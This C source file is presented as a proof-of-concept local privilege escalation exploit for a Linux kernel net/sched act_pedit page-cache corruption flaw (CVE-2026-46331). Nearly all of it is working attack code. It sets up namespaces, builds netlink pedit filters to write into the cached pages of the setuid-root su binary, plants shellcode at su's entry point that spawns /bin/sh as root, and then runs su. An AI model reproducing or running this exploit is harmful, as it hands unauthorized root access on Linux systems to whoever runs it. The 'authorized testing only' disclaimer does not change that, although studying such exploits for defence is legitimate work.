/* * CVE-2026-46331.c -- Linux kernel net/sched act_pedit partial COW page cache corruption * Local Privilege Escalation PoC * * Author: Ashraf Zaryouh "0xBlackash" * Based on public research and sgkdev's packet_edit_meme * WARNING: For educational and authorized testing purposes only. * Do not use on systems you do not own. */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* pedit_primitive integrated */ #define PEDIT_SLOT 4 #define PEDIT_MAX_WRITE 36 #define IP_IHL_KEY_OFFSET 0 #define IP_IHL_KEY_VALUE 0x4fu #define IP_IHL_KEY_MASK 0xffffff00u #define MAX_PEDIT_KEYS (1 + PEDIT_MAX_WRITE / PEDIT_SLOT) #define LOOPBACK_ADDR 0x7f000001u #define LOOPBACK_PREFIX 8 #define LOOPBACK_PORT 4445 #define LISTEN_BACKLOG 8 #define SETTLE_USEC 250000 #define CALIB_PATH "/tmp/.pedit_calib" #define CALIB_LEN 4096 #define CALIB_PROBE_OFFSET 512 #define CALIB_MARK_BYTE 0xccu #define REQUEST_BUF_LEN 8192 #define REPLY_BUF_LEN 4096 #define FILTER_PRIO 1 #define ACTION_LIST_FIRST 1 #ifndef NLA_F_NESTED #define NLA_F_NESTED (1 << 15) #endif #ifndef TC_H_CLSACT #define TC_H_CLSACT TC_H_INGRESS #endif #ifndef TC_H_MIN_EGRESS #define TC_H_MIN_EGRESS 0xFFF3u #endif #ifndef TC_ACT_PIPE #define TC_ACT_PIPE 3 #endif #ifndef TCA_MATCHALL_ACT #define TCA_MATCHALL_ACT 2 #endif #define MIN_DATA_PKT_LEN 100 #ifndef TCA_EM_META_HDR #define TCA_EM_META_HDR 1 #define TCA_EM_META_RVALUE 3 #endif #define META_TYPE_INT 1 #define META_ID_PKTLEN 9 #define META_ID_VALUE 0 #define META_KIND_PKTLEN ((META_TYPE_INT << 12) | META_ID_PKTLEN) #define META_KIND_VALUE ((META_TYPE_INT << 12) | META_ID_VALUE) struct meta_value { uint16_t kind; uint8_t shift; uint8_t op; }; struct meta_header { struct meta_value left; struct meta_value right; }; struct pedit_key_spec { uint32_t offset; uint32_t value; uint32_t mask; uint16_t header_type; }; static int netlink_fd = -1; static int loopback_index; static int listen_fd = -1; static int offset_delta; static int use_matchall; static unsigned int request_seq = 1; static char request_buf[REQUEST_BUF_LEN]; static struct nlmsghdr *request_hdr; static void request_begin(int type, int flags) { memset(request_buf, 0, sizeof(request_buf)); request_hdr = (struct nlmsghdr *)request_buf; request_hdr->nlmsg_len = NLMSG_HDRLEN; request_hdr->nlmsg_type = type; request_hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; request_hdr->nlmsg_seq = request_seq++; } static void *request_reserve(int length) { void *area = (char *)request_buf + NLMSG_ALIGN(request_hdr->nlmsg_len); request_hdr->nlmsg_len = NLMSG_ALIGN(request_hdr->nlmsg_len) + length; return area; } static void request_append(const void *data, int length) { memcpy(request_reserve(length), data, length); } static void request_attr(int type, const void *data, int length) { struct rtattr *attr = request_reserve(RTA_LENGTH(length)); attr->rta_type = type; attr->rta_len = RTA_LENGTH(length); memcpy(RTA_DATA(attr), data, length); } static void request_attr_str(int type, const char *text) { request_attr(type, text, strlen(text) + 1); } static struct rtattr *request_nest_begin(int type) { struct rtattr *attr = request_reserve(RTA_LENGTH(0)); attr->rta_type = type | NLA_F_NESTED; attr->rta_len = RTA_LENGTH(0); return attr; } static struct rtattr *request_blob_begin(int type) { struct rtattr *attr = request_reserve(RTA_LENGTH(0)); attr->rta_type = type; attr->rta_len = RTA_LENGTH(0); return attr; } static void request_nest_end(struct rtattr *attr) { attr->rta_len = (char *)request_buf + request_hdr->nlmsg_len - (char *)attr; } static int request_send(int allow_enoent) { char reply_buf[REPLY_BUF_LEN]; struct nlmsghdr *reply; struct nlmsgerr *reply_error; int received; if (send(netlink_fd, request_buf, request_hdr->nlmsg_len, 0) < 0) return -1; received = recv(netlink_fd, reply_buf, sizeof(reply_buf), 0); if (received < 0) return -1; reply = (struct nlmsghdr *)reply_buf; if (reply->nlmsg_type != NLMSG_ERROR) return 0; reply_error = NLMSG_DATA(reply); if (reply_error->error && !(allow_enoent && reply_error->error == -ENOENT)) return reply_error->error; return 0; } static int link_up(int index) { struct ifinfomsg link; request_begin(RTM_NEWLINK, 0); memset(&link, 0, sizeof(link)); link.ifi_family = AF_UNSPEC; link.ifi_index = index; link.ifi_flags = IFF_UP; link.ifi_change = IFF_UP; request_append(&link, sizeof(link)); return request_send(0); } static int link_set_addr(int index, uint32_t addr) { struct ifaddrmsg ifaddr; uint32_t addr_be = htonl(addr); request_begin(RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE); memset(&ifaddr, 0, sizeof(ifaddr)); ifaddr.ifa_family = AF_INET; ifaddr.ifa_prefixlen = LOOPBACK_PREFIX; ifaddr.ifa_index = index; request_append(&ifaddr, sizeof(ifaddr)); request_attr(IFA_LOCAL, &addr_be, sizeof(addr_be)); request_attr(IFA_ADDRESS, &addr_be, sizeof(addr_be)); return request_send(0); } static void clsact_delete(int index) { struct tcmsg msg; request_begin(RTM_DELQDISC, 0); memset(&msg, 0, sizeof(msg)); msg.tcm_family = AF_UNSPEC; msg.tcm_ifindex = index; msg.tcm_handle = TC_H_MAKE(TC_H_CLSACT, 0); msg.tcm_parent = TC_H_CLSACT; request_append(&msg, sizeof(msg)); request_send(1); } static int clsact_add(int index) { struct tcmsg msg; request_begin(RTM_NEWQDISC, NLM_F_CREATE | NLM_F_EXCL); memset(&msg, 0, sizeof(msg)); msg.tcm_family = AF_UNSPEC; msg.tcm_ifindex = index; msg.tcm_handle = TC_H_MAKE(TC_H_CLSACT, 0); msg.tcm_parent = TC_H_CLSACT; request_append(&msg, sizeof(msg)); request_attr_str(TCA_KIND, "clsact"); return request_send(0); } static void append_pktlen_ematch(uint32_t threshold) { struct tcf_ematch_tree_hdr tree_header; struct tcf_ematch_hdr match_header; struct meta_header meta; struct rtattr *ematches; struct rtattr *match_list; struct rtattr *match; ematches = request_nest_begin(TCA_BASIC_EMATCHES); memset(&tree_header, 0, sizeof(tree_header)); tree_header.nmatches = 1; request_attr(TCA_EMATCH_TREE_HDR, &tree_header, sizeof(tree_header)); match_list = request_nest_begin(TCA_EMATCH_TREE_LIST); match = request_blob_begin(1); memset(&match_header, 0, sizeof(match_header)); match_header.kind = TCF_EM_META; match_header.flags = TCF_EM_REL_END; request_append(&match_header, sizeof(match_header)); memset(&meta, 0, sizeof(meta)); meta.left.kind = META_KIND_PKTLEN; meta.left.op = TCF_EM_OPND_GT; meta.right.kind = META_KIND_VALUE; request_attr(TCA_EM_META_HDR, &meta, sizeof(meta)); request_attr(TCA_EM_META_RVALUE, &threshold, sizeof(threshold)); request_nest_end(match); request_nest_end(match_list); request_nest_end(ematches); } static void append_pedit_action(const struct pedit_key_spec *keys, int key_count) { char selector_buf[sizeof(struct tc_pedit_sel) + MAX_PEDIT_KEYS * sizeof(struct tc_pedit_key)]; struct tc_pedit_sel *selector = (void *)selector_buf; struct tc_pedit_key *raw_keys = (void *)(selector_buf + sizeof(*selector)); struct rtattr *action; struct rtattr *action_options; struct rtattr *keys_ex; struct rtattr *key_ex; uint16_t header_type; uint16_t command; int selector_len; int index_iter; action = request_nest_begin(ACTION_LIST_FIRST); request_attr_str(TCA_ACT_KIND, "pedit"); action_options = request_nest_begin(TCA_ACT_OPTIONS); selector_len = sizeof(*selector) + key_count * sizeof(struct tc_pedit_key); memset(selector_buf, 0, selector_len); selector->nkeys = key_count; selector->action = TC_ACT_PIPE; for (index_iter = 0; index_iter < key_count; index_iter++) { raw_keys[index_iter].off = keys[index_iter].offset; raw_keys[index_iter].val = keys[index_iter].value; raw_keys[index_iter].mask = keys[index_iter].mask; } request_attr(TCA_PEDIT_PARMS_EX, selector_buf, selector_len); keys_ex = request_nest_begin(TCA_PEDIT_KEYS_EX); for (index_iter = 0; index_iter < key_count; index_iter++) { key_ex = request_nest_begin(TCA_PEDIT_KEY_EX); header_type = keys[index_iter].header_type; request_attr(TCA_PEDIT_KEY_EX_HTYPE, &header_type, sizeof(header_type)); command = TCA_PEDIT_KEY_EX_CMD_SET; request_attr(TCA_PEDIT_KEY_EX_CMD, &command, sizeof(command)); request_nest_end(key_ex); } request_nest_end(keys_ex); request_nest_end(action_options); request_nest_end(action); } static int egress_pedit_add(int index, const struct pedit_key_spec *keys, int key_count) { struct rtattr *options; struct rtattr *action_list; struct tcmsg msg; request_begin(RTM_NEWTFILTER, NLM_F_CREATE | NLM_F_EXCL); memset(&msg, 0, sizeof(msg)); msg.tcm_family = AF_UNSPEC; msg.tcm_ifindex = index; msg.tcm_parent = TC_H_MAKE(TC_H_CLSACT, TC_H_MIN_EGRESS); msg.tcm_info = TC_H_MAKE(FILTER_PRIO << 16, htons(ETH_P_ALL)); request_append(&msg, sizeof(msg)); if (use_matchall) { request_attr_str(TCA_KIND, "matchall"); options = request_nest_begin(TCA_OPTIONS); action_list = request_nest_begin(TCA_MATCHALL_ACT); } else { request_attr_str(TCA_KIND, "basic"); options = request_nest_begin(TCA_OPTIONS); append_pktlen_ematch(MIN_DATA_PKT_LEN); action_list = request_nest_begin(TCA_BASIC_ACT); } append_pedit_action(keys, key_count); request_nest_end(action_list); request_nest_end(options); return request_send(0); } static void fill_ihl_key(struct pedit_key_spec *key) { key->offset = IP_IHL_KEY_OFFSET; key->value = IP_IHL_KEY_VALUE; key->mask = IP_IHL_KEY_MASK; key->header_type = TCA_PEDIT_KEY_EX_HDR_TYPE_NETWORK; } static int pedit_burst(int src_fd, const struct pedit_key_spec *keys, int key_count) { struct sockaddr_in addr; struct stat info; off_t file_offset = 0; int client_fd; int server_fd; if (fstat(src_fd, &info)) return -1; clsact_delete(loopback_index); if (clsact_add(loopback_index)) return -1; memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(LOOPBACK_ADDR); addr.sin_port = htons(LOOPBACK_PORT); client_fd = socket(AF_INET, SOCK_STREAM, 0); if (client_fd < 0) return -1; if (connect(client_fd, (void *)&addr, sizeof(addr))) { close(client_fd); return -1; } server_fd = accept(listen_fd, NULL, NULL); if (server_fd < 0) { close(client_fd); return -1; } if (egress_pedit_add(loopback_index, keys, key_count)) { close(client_fd); close(server_fd); return -1; } fcntl(client_fd, F_SETFL, O_NONBLOCK); if (sendfile(client_fd, src_fd, &file_offset, info.st_size) < 0 && errno != EAGAIN) { close(client_fd); close(server_fd); return -1; } usleep(SETTLE_USEC); close(client_fd); close(server_fd); return 0; } static int calibrate(void) { struct pedit_key_spec keys[2]; uint8_t buf[CALIB_LEN]; int fd; int index_iter; int landed = -1; fd = open(CALIB_PATH, O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd < 0) return -1; memset(buf, 0, sizeof(buf)); if (write(fd, buf, sizeof(buf)) != sizeof(buf)) { close(fd); return -1; } fsync(fd); fill_ihl_key(&keys[0]); keys[1].offset = CALIB_PROBE_OFFSET; keys[1].value = CALIB_MARK_BYTE * 0x01010101u; keys[1].mask = 0; keys[1].header_type = TCA_PEDIT_KEY_EX_HDR_TYPE_TCP; if (pedit_burst(fd, keys, 2)) { close(fd); return -1; } if (pread(fd, buf, sizeof(buf), 0) != sizeof(buf)) { close(fd); return -1; } for (index_iter = 0; index_iter + PEDIT_SLOT <= CALIB_LEN; index_iter++) { if (buf[index_iter] == CALIB_MARK_BYTE && buf[index_iter + 1] == CALIB_MARK_BYTE && buf[index_iter + 2] == CALIB_MARK_BYTE && buf[index_iter + 3] == CALIB_MARK_BYTE) { landed = index_iter; break; } } close(fd); unlink(CALIB_PATH); if (landed < 0) return -1; offset_delta = landed - CALIB_PROBE_OFFSET; return 0; } int setup(void) { struct sockaddr_in addr; int reuse = 1; netlink_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (netlink_fd < 0) return -1; loopback_index = if_nametoindex("lo"); if (!loopback_index || link_up(loopback_index)) return -1; link_set_addr(loopback_index, LOOPBACK_ADDR); listen_fd = socket(AF_INET, SOCK_STREAM, 0); if (listen_fd < 0) return -1; setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse)); memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(LOOPBACK_ADDR); addr.sin_port = htons(LOOPBACK_PORT); if (bind(listen_fd, (void *)&addr, sizeof(addr))) return -1; if (listen(listen_fd, LISTEN_BACKLOG)) return -1; if (calibrate() == 0) return 0; use_matchall = 1; return calibrate(); } int api_fd_write(int fd, off_t offset, const void *src, size_t size) { struct pedit_key_spec keys[MAX_PEDIT_KEYS]; const uint8_t *bytes = src; int key_count = 0; size_t pos; if (size == 0) return 0; if (size > PEDIT_MAX_WRITE || (size % PEDIT_SLOT) != 0) return -1; if (offset < (off_t)offset_delta) return -1; fill_ihl_key(&keys[key_count++]); for (pos = 0; pos < size; pos += PEDIT_SLOT) { keys[key_count].offset = (uint32_t)(offset + pos) - (uint32_t)offset_delta; keys[key_count].value = (uint32_t)bytes[pos] | ((uint32_t)bytes[pos + 1] << 8) | ((uint32_t)bytes[pos + 2] << 16) | ((uint32_t)bytes[pos + 3] << 24); keys[key_count].mask = 0; keys[key_count].header_type = TCA_PEDIT_KEY_EX_HDR_TYPE_TCP; key_count++; } return pedit_burst(fd, keys, key_count); } /* Main exploit logic */ #define SHELLCODE_PAD 0x90 static const unsigned char SHELLCODE[] = { 0x31, 0xff, 0xb8, 0x6a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x69, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xd2, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x52, 0x57, 0x48, 0x89, 0xe6, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, SHELLCODE_PAD, SHELLCODE_PAD, SHELLCODE_PAD, }; static const char *SU_PATHS[] = { "/bin/su", "/usr/bin/su", "/sbin/su", "/usr/sbin/su", NULL }; static const char *find_su(void) { struct stat info; int index; for (index = 0; SU_PATHS[index]; index++) { if (stat(SU_PATHS[index], &info) == 0 && S_ISREG(info.st_mode) && (info.st_mode & S_ISUID) && info.st_uid == 0) return SU_PATHS[index]; } return NULL; } static long elf_entry_offset(int fd) { Elf64_Ehdr ehdr; Elf64_Phdr phdr; int index; if (pread(fd, &ehdr, sizeof(ehdr), 0) != (ssize_t)sizeof(ehdr)) return -1; if (memcmp(ehdr.e_ident, ELFMAG, SELFMAG) != 0 || ehdr.e_ident[EI_CLASS] != ELFCLASS64) return -1; for (index = 0; index < ehdr.e_phnum; index++) { off_t at = ehdr.e_phoff + (off_t)index * ehdr.e_phentsize; if (pread(fd, &phdr, sizeof(phdr), at) != (ssize_t)sizeof(phdr)) return -1; if (phdr.p_type == PT_LOAD && (phdr.p_flags & PF_X) && ehdr.e_entry >= phdr.p_vaddr && ehdr.e_entry < phdr.p_vaddr + phdr.p_filesz) return (long)(ehdr.e_entry - phdr.p_vaddr + phdr.p_offset); } return -1; } static void write_proc_file(const char *path, const char *value) { int fd = open(path, O_WRONLY); if (fd >= 0) { write(fd, value, strlen(value)); close(fd); } } static int corrupt_entry(int su_fd, long entry_offset) { char map_line[64]; uid_t uid = getuid(); gid_t gid = getgid(); size_t written = 0; if (unshare(CLONE_NEWUSER | CLONE_NEWNET)) { perror("unshare"); return -1; } write_proc_file("/proc/self/setgroups", "deny"); snprintf(map_line, sizeof(map_line), "0 %u 1", uid); write_proc_file("/proc/self/uid_map", map_line); snprintf(map_line, sizeof(map_line), "0 %u 1", gid); write_proc_file("/proc/self/gid_map", map_line); if (setup()) return -1; while (written < sizeof(SHELLCODE)) { size_t chunk = sizeof(SHELLCODE) - written; if (chunk > PEDIT_MAX_WRITE) chunk = PEDIT_MAX_WRITE; if (api_fd_write(su_fd, entry_offset + written, SHELLCODE + written, chunk)) return -1; written += chunk; } return 0; } static int run_exploit(void) { const char *su_path; char *su_argv[2]; int su_fd; int sync_pipe[2]; long entry_offset; pid_t child; int status; char ack = 0; su_path = find_su(); if (!su_path) { fprintf(stderr, "[-] no setuid-root su found\n"); return 1; } su_fd = open(su_path, O_RDONLY); if (su_fd < 0) { perror("open su"); return 1; } entry_offset = elf_entry_offset(su_fd); if (entry_offset < 0) { fprintf(stderr, "[-] could not locate su entry point\n"); close(su_fd); return 1; } printf("[*] target %s entry at 0x%lx\n", su_path, entry_offset); if (pipe(sync_pipe)) { perror("pipe"); close(su_fd); return 1; } child = fork(); if (child < 0) { perror("fork"); close(su_fd); return 1; } if (child == 0) { close(sync_pipe[0]); if (corrupt_entry(su_fd, entry_offset)) _exit(1); write(sync_pipe[1], "1", 1); _exit(0); } close(sync_pipe[1]); read(sync_pipe[0], &ack, 1); waitpid(child, &status, 0); close(su_fd); if (ack != '1' || !WIFEXITED(status) || WEXITSTATUS(status) != 0) { fprintf(stderr, "[-] corruption failed\n"); return 1; } printf("[+] Corruption successful. Executing su for root shell...\n"); su_argv[0] = (char *)su_path; su_argv[1] = NULL; execve(su_path, su_argv, NULL); perror("execve"); return 1; } int main(int argc, char **argv) { if (getuid() == 0) { fprintf(stderr, "[-] Run as unprivileged user\n"); return 1; } printf("CVE-2026-46331 PoC by Ashraf Zaryouh \"0xBlackash\"\n"); return run_exploit(); }